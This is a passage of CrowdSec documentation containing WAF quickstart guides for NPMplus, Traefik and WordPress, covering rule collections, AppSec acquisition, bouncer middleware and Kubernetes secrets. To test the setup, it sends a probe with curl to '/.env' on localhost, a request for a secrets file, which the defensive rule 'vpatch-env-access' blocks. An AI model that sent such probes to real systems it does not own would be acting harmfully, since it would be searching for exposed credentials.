``` Confirm NPMplus connects to CrowdSec: SHCOPY ``` docker logs npmplus 2>&1 | grep -i crowdsec ``` ## 6. Verify[โ€‹](#6-verify "Direct link to 6. Verify") Hit an endpoint that should trip an AppSec rule (replace `localhost` with your server's address if different): SHCOPY ``` curl -I http://localhost/.env ``` You should get an `HTTP/1.1 403 Forbidden` response. Check metrics inside the CrowdSec container: SHCOPY ``` docker exec crowdsec cscli metrics show appsec ``` Example metrics output docker exec crowdsec cscli metrics show appsec SHdocker exec crowdsec cscli metrics show appsecCOPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 0.0.0.0:7422/ โ”‚ 2 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec '0.0.0.0:7422/' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-env-access โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` What just happened? 1. `curl` hit NPMplus at `/.env`. 2. The NPMplus bouncer forwarded the request to the AppSec Component inside the Docker network (on `crowdsec:7422`). 3. AppSec matched the [`vpatch-env-access`](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) rule and answered `403`. 4. NPMplus served the ban page. ## Log into the NPMplus admin UI[โ€‹](#log-into-the-npmplus-admin-ui "Direct link to Log into the NPMplus admin UI") Open `https://:81` and log in with the `ACME_EMAIL` you set in step 2 and the password you saved in step 4. You'll be prompted to change both on first login. ## Monitor in the Console[โ€‹](#monitor-in-the-console "Direct link to Monitor in the Console") If you haven't enrolled the Security Engine yet, follow [how to enroll in the Console](https://docs.crowdsec.net/u/getting_started/post_installation/console.md). Once enrolled, AppSec alerts appear alongside the rest of your alerts: ![appsec-console](/assets/images/appsec_console-59b5f39cf3f7fc002e61539c0e866f23.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") * Monitor WAF alerts with `docker exec crowdsec cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md), [rules syntax](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md), [rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md), and [benchmarks](https://docs.crowdsec.net/docs/next/appsec/benchmark.md) to go further. --- # CrowdSec WAF QuickStart for Traefik ## Objectives[โ€‹](#objectives "Direct link to Objectives") The goal of this quickstart is to set up the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction) to safeguard web applications running behind the [Traefik](https://doc.traefik.io/traefik/) reverse proxy. We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). Additionally, we'll show how to monitor these alerts through the [Console](https://app.crowdsec.net/). ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") 1. If you're new to the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction) for a better understanding. 2. It's assumed that you have already installed: * **CrowdSec [Security Engine](https://docs.crowdsec.net/docs/next/intro.md)**: for installation, refer to the [QuickStart guide](https://docs.crowdsec.net/u/getting_started/installation/linux.md). The AppSec Component, which analyzes HTTP requests, is enabled via the [AppSec acquisition datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md). * Traefik Plugin **[Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md)**: Thanks to [maxlerebourg](https://github.com/maxlerebourg) and team, there is a [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) that blocks requests directly in Traefik. info Before starting, ensure you are using the [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) and **NOT** the older and deprecated [traefik-crowdsec-bouncer](https://app.crowdsec.net/hub/author/fbonalair/remediation-components/traefik-crowdsec-bouncer) as it hasn't received updates to use the new AppSec Component. warning This guide will assume you already have a working Traefik setup using the Traefik Plugin. If you need help setting up Traefik, refer to the [official documentation](https://doc.traefik.io/traefik/getting-started/) and the [Traefik Plugin](https://github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin) documentation. Already did the base setup? If you already completed the [General Setup](https://docs.crowdsec.net/docs/next/appsec/quickstart/general_setup.md) (collections + acquisition), skip to [Remediation Component Setup](#remediation-component-setup). ## AppSec Component Setup[โ€‹](#appsec-component-setup "Direct link to AppSec Component Setup") ### Collection installation[โ€‹](#collection-installation "Direct link to Collection installation") To begin setting up the AppSec Component, the initial step is to install a relevant set of rules. We will utilize the [crowdsecurity/appsec-virtual-patching](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities. This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current. We also install the [crowdsecurity/appsec-generic-rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet). info You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) * Docker * Docker Compose * Kubernetes (Helm) SHCOPY ``` ## This command should be used when you are persisting /etc/crowdsec/ on the host docker exec -it crowdsec cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules ``` This command installs the needed AppSec Hub configuration items. values.yaml YAMLvalues.yamlCOPY ``` services: crowdsec: environment: - 'COLLECTIONS=crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules' ``` warning Please note the spaces between the collection names (hence why the quotes are needed). This compose configuration file adds the required Hub configuration items. Please add this in your `values.yaml` for your CrowdSec release. values.yaml YAMLvalues.yamlCOPY ``` appsec: env: - name: COLLECTIONS value: "[...] crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules [...]" ``` warning Please note the spaces between the collection names (hence why the double quotes are needed). note If your `values.yaml` does not already configure the CrowdSec **agent** (via `agent.acquisition` or `agent.additionalAcquisition`), you must explicitly disable it โ€” otherwise the Helm chart will fail with `No acquisition or additionalAcquisition configured`: YAMLCOPY ``` agent: enabled: false ``` If you are running a full CrowdSec stack (agent + LAPI + AppSec), configure `agent.acquisition` with your actual log sources instead. Now you can apply it with: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec -n crowdsec --create-namespace -f ./crowdsec-values.yaml ``` This `values.yaml` modification adds the required Hub configuration items. Those needed hub configuration items are: * The [*AppSec Rules*](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md) contain the definition of malicious requests to be matched and stopped. * The [*AppSec Configuration*](https://docs.crowdsec.net/docs/next/appsec/configuration.md#appsec-configuration-files) links together a set of rules to provide a coherent set. * The CrowdSec Parser and CrowdSec Scenario(s) are used to detect and remediate persistent attacks. Once you have updated Compose or installed via the command line, restart the container. Before you do, set up the acquisition for the AppSec Component. ### Setup the Acquisition[โ€‹](#setup-the-acquisition "Direct link to Setup the Acquisition") You now need to set up the acquisition for AppSec. The steps depend on how you run CrowdSec. For the complete acquisition reference, see the [AppSec datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md). * Docker * Docker Compose * Kubernetes (Helm) In the directory where you persist configuration files, create an `appsec.yaml` file and mount it into the container. **Steps** 1. Change to the directory where you ran the `docker run` or `docker compose` command. 2. Create a file named `appsec.yaml` in this directory. 3. Add the following content: appsec.yaml YAMLappsec.yamlCOPY ``` appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 source: appsec ``` Because CrowdSec runs inside a container, set listen\_addr to 0.0.0.0 instead of 127.0.0.1 so it can accept connections from outside the container. Edit your docker run command to mount the file: If a crowdsec container is already running, stop/remove it before re-running with the updated mounts. SHCOPY ``` docker run -d --name crowdsec \ -v /path/to/original:/etc/crowdsec \ -v ./appsec.yaml:/etc/crowdsec/acquis.d/appsec.yaml \ crowdsecurity/crowdsec ``` In the directory where you persist configuration files, create an appsec.yaml file and mount it into the container. **Steps** 1. Change to the directory where you ran the docker compose (or docker run) command. 2. Create a file named appsec.yaml in this directory. 3. Add the following content to the `appsec.yaml`: appsec.yaml YAMLappsec.yamlCOPY ``` appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 source: appsec ``` Because CrowdSec runs in a container, set listen\_addr to 0.0.0.0 (not 127.0.0.1) so it listens on the containerโ€™s network interface. Mount the file in your Compose service: TEXTCOPY ``` services: crowdsec: volumes: - /path/to/original:/etc/crowdsec # or a named volume - ./appsec.yaml:/etc/crowdsec/acquis.d/appsec.yaml ``` Once you have updated the compose file to include the volume mount and the updated environment variable, you can restart the container. SHCOPY ``` docker compose down crowdsec docker compose rm crowdsec docker compose up -d crowdsec ``` note The previous compose commands presume the container is named `crowdsec`. If you have named the container something else, you will need to replace `crowdsec` with the name of your container. With Kubernetes the acquisition setup is done via `values.yaml`. Add the following to your CrowdSec `values.yaml`: values.yaml YAMLvalues.yamlCOPY ``` agent: enabled: false # required if you have no agent.acquisition configured; replace with your log sources for a full stack appsec: acquisitions: - appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 path: / source: appsec enabled: true ``` Then apply with: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec -n crowdsec --create-namespace -f ./crowdsec-values.yaml ``` ## Remediation Component Setup[โ€‹](#remediation-component-setup "Direct link to Remediation Component Setup") As stated previously this guide already presumes you have the Traefik Plugin installed. If you do not have the Traefik Plugin installed, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) for installation instructions. ### Configuration[โ€‹](#configuration "Direct link to Configuration") Depending on how you configured the Traefik Plugin, you will need to update the configuration to include the AppSec configuration. warning Currently AppSec does not support mTLS authentication for the AppSec Component. If you have mTLS enabled, and wish to use the AppSec Component, you can define seperate middlewares for the AppSec Component. * Traefik dynamic configuration * Traefik middleware (Kubernetes) If you have defined a dynamic configuration file for Traefik, you can add the following configuration to the file. traefik\_dynamic.yaml YAMLtraefik\_dynamic.yamlCOPY ``` # Dynamic configuration http: routers: my-router: rule: host(`whoami.localhost`) service: service-foo entryPoints: - web middlewares: - crowdsec services: service-foo: loadBalancer: servers: - url: http://127.0.0.1:5000 middlewares: crowdsec: plugin: bouncer: enabled: true crowdsecAppsecEnabled: true crowdsecAppsecHost: crowdsec:7422 crowdsecAppsecFailureBlock: true crowdsecAppsecUnreachableBlock: true crowdsecLapiKey: ``` Instead if you define the configuration using labels on the containers you can add the following labels to the Traefik Plugin container. YAMLCOPY ``` labels: - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.enabled=true" - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecAppsecEnabled=true" - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecAppsecHost=crowdsec:7422" - "traefik.http.middlewares.crowdsec-bar.plugin.bouncer.crowdsecLapiKey=" ``` For Kubernetes, use the same secret management pattern as in the [Traefik bouncer setup](https://docs.crowdsec.net/u/bouncers/traefik.md#store-the-traefik-bouncer-key-in-a-kubernetes-secret): store the shared bouncer key in Kubernetes secrets and reference it from both CrowdSec and Traefik. Two secrets are needed because CrowdSec and Traefik run in different namespaces: * In the `crowdsec` namespace, CrowdSec LAPI reads `BOUNCER_KEY_traefik` from the `crowdsec-keys` secret. * In the `traefik` namespace, Traefik mounts the same key from the `crowdsec-bouncer-key` secret as a file. Both secrets must contain the same `BOUNCER_KEY_traefik` value. If you already created them for the base bouncer setup, you can reuse them here. If you haven't created the bouncer key yet, generate one with: SHCOPY ``` kubectl exec -n crowdsec deploy/crowdsec-lapi -c crowdsec-lapi -- cscli bouncers add traefik -o raw ``` Copy the printed key โ€” you will use it as `` below. Create or update the secrets: crowdsec-keys.yaml YAMLcrowdsec-keys.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-keys namespace: crowdsec type: Opaque stringData: ENROLL_KEY: "" BOUNCER_KEY_traefik: "" --- apiVersion: v1 kind: Secret metadata: name: crowdsec-bouncer-key namespace: traefik type: Opaque stringData: BOUNCER_KEY_traefik: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-keys.yaml ``` Then make sure the CrowdSec Helm values reference `BOUNCER_KEY_traefik` from the `crowdsec-keys` secret: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` lapi: env: - name: BOUNCER_KEY_traefik valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_traefik ``` Apply the CrowdSec release again: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec --namespace crowdsec --create-namespace -f crowdsec-values.yaml ``` Then configure Traefik to mount the `crowdsec-bouncer-key` secret and reference it with `crowdsecLapiKeyFile`. Use a Traefik values file like this: traefik-values.yaml YAMLtraefik-values.yamlCOPY ``` experimental: plugins: bouncer: moduleName: github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin version: v1.4.5 volumes: - name: crowdsec-bouncer-key mountPath: /etc/traefik/crowdsec type: secret secretName: crowdsec-bouncer-key ``` note The Traefik Helm chart uses a read-only root filesystem by default. The plugin loader needs a writable directory to cache downloaded plugins. Add an `emptyDir` volume for `/plugins-storage` alongside the secret volume above: traefik-values.yaml (addition) YAMLtraefik-values.yaml (addition)COPY ``` deployment: additionalVolumes: - name: plugins-storage emptyDir: {} additionalVolumeMounts: - name: plugins-storage mountPath: /plugins-storage ``` Without this, Traefik will fail to start with `unable to create directory /plugins-storage/sources: read-only file system`. Then create a Traefik Middleware resource: SHCOPY ``` kubectl apply -f traefik-middleware.yaml ``` note The `spec.plugin.` in the Middleware **must match** the key you registered under `experimental.plugins.` in Traefik's configuration โ€” not the module name (`crowdsec-bouncer-traefik-plugin`). Since the `traefik-values.yaml` above registers the plugin under the key `bouncer`, use `bouncer:` here. YAMLCOPY ``` apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: crowdsec namespace: traefik spec: plugin: bouncer: enabled: true crowdsecMode: stream crowdsecLapiScheme: http crowdsecLapiHost: crowdsec-service.crowdsec.svc.cluster.local:8080 crowdsecLapiKeyFile: /etc/traefik/crowdsec/BOUNCER_KEY_traefik httpTimeoutSeconds: 60 forwardedheaderstrustedips: - 10.0.0.0/8 - 192.168.0.0/16 - 203.0.113.0/24 - 2001:db8::/32 crowdsecAppsecEnabled: true crowdsecAppsecHost: crowdsec-appsec-service.crowdsec.svc.cluster.local:7422 crowdsecAppsecFailureBlock: true crowdsecAppsecUnreachableBlock: true ``` How is the AppSec hostname derived? The Helm chart creates a Service named `-appsec-service` in the namespace where CrowdSec is installed. With the default release name `crowdsec` in namespace `crowdsec`, the in-cluster DNS name is: TEXTCOPY ``` crowdsec-appsec-service.crowdsec.svc.cluster.local:7422 ``` If you used a different release name or namespace, adjust accordingly: `-appsec-service..svc.cluster.local:7422`. Less secure alternative: define the Traefik bouncer key inline with `crowdsecLapiKey` instead of mounting `crowdsecLapiKeyFile` YAMLCOPY ``` apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: crowdsec namespace: traefik spec: plugin: bouncer: enabled: true crowdsecMode: stream crowdsecLapiScheme: http crowdsecLapiHost: crowdsec-service.crowdsec.svc.cluster.local:8080 crowdsecLapiKey: httpTimeoutSeconds: 60 forwardedheaderstrustedips: - 10.0.0.0/8 - 192.168.0.0/16 - 203.0.113.0/24 - 2001:db8::/32 crowdsecAppsecEnabled: true crowdsecAppsecHost: crowdsec-appsec-service.crowdsec.svc.cluster.local:7422 crowdsecAppsecFailureBlock: true crowdsecAppsecUnreachableBlock: true ``` note If your IngressRoute lives in a different namespace than the Middleware (e.g. `default` vs `traefik`), Traefik's Kubernetes CRD provider blocks cross-namespace references by default. Either place the Middleware in the same namespace as the IngressRoute, or add the following to your Traefik Helm values: traefik-values.yaml (addition) YAMLtraefik-values.yaml (addition)COPY ``` providers: kubernetesCRD: allowCrossNamespace: true ``` You can still add some route configuration through [IngressRoute](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/crd/http/ingressroute/) and attach the middleware to those routes. For more comprehensive documentation on the Traefik Plugin configuration, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin). We can't cover all the possible configurations for Traefik in this guide, so please refer to the [official documentation](https://doc.traefik.io/traefik/) for more information. ### Directives[โ€‹](#directives "Direct link to Directives") The following directives are available for the Traefik Plugin: #### `crowdsecAppsecEnabled`[โ€‹](#crowdsecappsecenabled "Direct link to crowdsecappsecenabled") > `bool` Enable or disable the AppSec Component. #### `crowdsecAppsecHost`[โ€‹](#crowdsecappsechost "Direct link to crowdsecappsechost") > `string` The host and port where the AppSec Component is running. #### `crowdsecAppsecFailureBlock`[โ€‹](#crowdsecappsecfailureblock "Direct link to crowdsecappsecfailureblock") > `bool` If the AppSec Component returns `500` status code should the request be blocked. #### `crowdsecAppsecUnreachableBlock`[โ€‹](#crowdsecappsecunreachableblock "Direct link to crowdsecappsecunreachableblock") > `bool` If the AppSec Component is unreachable should the request be blocked. ## Testing the AppSec Component + Remediation Component[โ€‹](#testing-the-appsec-component--remediation-component "Direct link to Testing the AppSec Component + Remediation Component") note For bare-metal/Docker, the web server is assumed to be listening on port 80 on the same host โ€” adjust the URL if needed. For Kubernetes, send the test request through your Ingress (e.g. `http:///`) rather than directly to the AppSec port. If you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: ![appsec-denied](/assets/images/appsec_denied-6e67f77eebc0aafccfbb7304136ad33e.png) We can also look at the metrics from `cscli metrics show appsec` โ€” it will display: * the number of requests processed by the AppSec Component * Individual rule matches The command to run depends on your environment: Bare-metal / Docker SHBare-metal / DockerCOPY ``` sudo cscli metrics show appsec ``` Kubernetes SHKubernetesCOPY ``` kubectl exec -n crowdsec \ $(kubectl get pod -n crowdsec -l type=appsec -o name | head -1) \ -c crowdsec-appsec -- cscli metrics show appsec ``` Example Output Bare-metal output (listen\_addr: 127.0.0.1:7422) SHBare-metal output (listen\_addr: 127.0.0.1:7422)COPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 127.0.0.1:7422/ โ”‚ 2 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec '127.0.0.1:7422/' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-env-access โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` Kubernetes output (listen\_addr: 0.0.0.0:7422) SHKubernetes output (listen\_addr: 0.0.0.0:7422)COPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 0.0.0.0:7422/ โ”‚ 2 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec '0.0.0.0:7422/' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-env-access โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` You can test and investigate further with [Stack Health-Check](https://docs.crowdsec.net/u/getting_started/health_check.md) and [Appsec Troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) ### Explanation[โ€‹](#explanation "Direct link to Explanation") What happened in the test that we just did is: 1. We did a request (`localhost/.env`) to our local webserver 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422` 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked 6. The web server then presented us with the default "request blocked" page. ## Integration with the Console[โ€‹](#integration-with-the-console "Direct link to Integration with the Console") If you haven't yet, follow the guide about [how to enroll your Security Engine in the Console](https://docs.crowdsec.net/u/getting_started/post_installation/console.md). Once done, all your alerts, including the ones generated by the AppSec Component, appear in the Console: ![appsec-console](/assets/images/appsec_console-59b5f39cf3f7fc002e61539c0e866f23.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") You are now running the AppSec Component on your CrowdSec Security Engine. As the next steps, you can: * Monitor WAF alerts in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md), [rules syntax](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md), [rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md), and [benchmarks](https://docs.crowdsec.net/docs/next/appsec/benchmark.md) to go further. --- # CrowdSec WAF QuickStart for WordPress Protect a [WordPress](https://wordpress.org) site with CrowdSec's [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction). The WordPress bouncer is a WordPress plugin, so step 3 is a short click-through in `wp-admin`; everything else is copy-paste on the host running CrowdSec. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") Make sure the following are already done (each is a single-page install guide): 1. **CrowdSec Security Engine** installed and running โ€” see the [Linux quickstart](https://docs.crowdsec.net/u/getting_started/installation/linux.md). 2. **WordPress bouncer plugin** installed and registered against the CrowdSec LAPI โ€” see the [WordPress bouncer guide](https://docs.crowdsec.net/u/bouncers/wordpress.md). ## 1. Install the AppSec rule collections[โ€‹](#1-install-the-appsec-rule-collections "Direct link to 1. Install the AppSec rule collections") SHCOPY ``` sudo cscli collections install \ crowdsecurity/appsec-virtual-patching \ crowdsecurity/appsec-generic-rules ``` This pulls the [`appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection (rules for known CVEs, auto-updated daily) and the [`appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection (common attack patterns), plus the default AppSec configuration. ## 2. Turn on the AppSec Component[โ€‹](#2-turn-on-the-appsec-component "Direct link to 2. Turn on the AppSec Component") Create the acquisition file, then restart CrowdSec: SHCOPY ``` sudo mkdir -p /etc/crowdsec/acquis.d sudo tee /etc/crowdsec/acquis.d/appsec.yaml > /dev/null <<'EOF' appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec EOF sudo systemctl restart crowdsec ``` warning Keep `listen_addr` on `127.0.0.1` โ€” the AppSec Component must not be reachable from the internet. It should only be queried by your local WordPress instance. ## 3. Enable AppSec in the WordPress plugin[โ€‹](#3-enable-appsec-in-the-wordpress-plugin "Direct link to 3. Enable AppSec in the WordPress plugin") This step uses the plugin's admin UI (no shell command): 1. Log in to your WordPress admin panel. 2. Open 